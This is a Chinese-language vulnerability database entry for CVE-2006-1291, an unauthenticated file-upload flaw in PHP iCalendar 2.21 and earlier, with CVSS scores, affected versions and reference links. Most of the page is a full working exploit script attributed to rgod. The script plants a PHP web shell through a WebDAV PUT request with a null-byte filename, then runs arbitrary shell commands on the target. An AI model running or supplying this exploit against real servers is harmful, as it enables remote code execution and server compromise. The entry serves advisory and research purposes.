CVE-2006-1291
CVSS7.5
发布时间 :2006-03-19 18:02:00
修订时间 :2011-03-07 21:32:43
NMCOE    

[原文]publish.ical.php in Jim Hu and Chad Little PHP iCalendar 2.21 and earlier does not require authentication for write access to the calendars directory, which allows remote attackers to upload and execute arbitrary PHP scripts via a WebDAV PUT request with a filename containing a .php extension and a trailing null character.


[CNNVD]php iCalendar任意文件上载漏洞(CNNVD-200603-328)

        在Jim Hu和Chad Little PHP iCalendar 2.21及其早期版本中的publish.ical.php不需要对日历目录的写访问进行身份验证,远程攻击者可通过以下途径上载和执行任意PHP脚本:一条带有.php扩展名和以"空"字符结尾文件名的WebDAV PUT请求。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:php_icalendar:php_icalendar:2.0
cpe:/a:php_icalendar:php_icalendar:2.0c
cpe:/a:php_icalendar:php_icalendar:2.2.1
cpe:/a:php_icalendar:php_icalendar:2.1
cpe:/a:php_icalendar:php_icalendar:2.0b
cpe:/a:php_icalendar:php_icalendar:2.0a2
cpe:/a:php_icalendar:php_icalendar:2.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1291
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1291
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-328
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1019
(UNKNOWN)  VUPEN  ADV-2006-1019
http://www.securityfocus.com/bid/17129
(UNKNOWN)  BID  17129
http://www.milw0rm.com/exploits/1586
(UNKNOWN)  MILW0RM  1586
http://downloads.securityfocus.com/vulnerabilities/exploits/php-iCalendar-221.upload.php
(UNKNOWN)  MISC  http://downloads.securityfocus.com/vulnerabilities/exploits/php-iCalendar-221.upload.php
http://secunia.com/advisories/19285
(UNKNOWN)  SECUNIA  19285

- 漏洞信息

php iCalendar任意文件上载漏洞
高危 输入验证
2006-03-19 00:00:00 2006-03-20 00:00:00
远程  
        在Jim Hu和Chad Little PHP iCalendar 2.21及其早期版本中的publish.ical.php不需要对日历目录的写访问进行身份验证,远程攻击者可通过以下途径上载和执行任意PHP脚本:一条带有.php扩展名和以"空"字符结尾文件名的WebDAV PUT请求。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1586)

php iCalendar <= 2.21 (publish.ical.php) Remote Code Execution Exploit (EDBID:1586)
php webapps
2006-03-15 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
echo "by rgod rgod<AT>autistici<DOT>org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";

# short explaination: phpICal lets users upload/delete files in WebDAV style
# through PUT / DELETE method; calendars/ folder by default is not protected
# by any authentication measure. Uploaded files have .ics extension but with
# a trick you can break filename through a null char to have a php file
# (this works always beacuse magic_quotes_gpc does not work with
# HTTP_RAW_POST data)

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to phpICal\r\n";
echo "\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
$data.='
<?php
if (get_magic_quotes_gpc())
{$_GET[cmd]=stripslashes($_GET[cmd]);}
ini_set("max_execution_time",0);
echo "Hi Master!";
echo 666;
passthru($_GET[cmd]);
echo 666;
?>
';
$packet ="PUT ".$p."calendars/publish.ical.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
#debug, shows packets in a nice format
#echo quick_dump($packet);
sendpacketii($packet);

sleep(1);

$packet="GET ".$p."calendars/suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"666")) {
echo "Exploit succeeded...\r\n";
$temp=explode("666",$html);
echo $temp[1];}
else {echo "Exploit failed...";}
?>

# milw0rm.com [2006-03-15]
		

- 漏洞信息

24031
PHP iCalendar publish.ical.php Crafted PUT Request Arbitrary File Upload
Remote / Network Access
Exploit Public Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-03-15 Unknow
2006-03-15 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站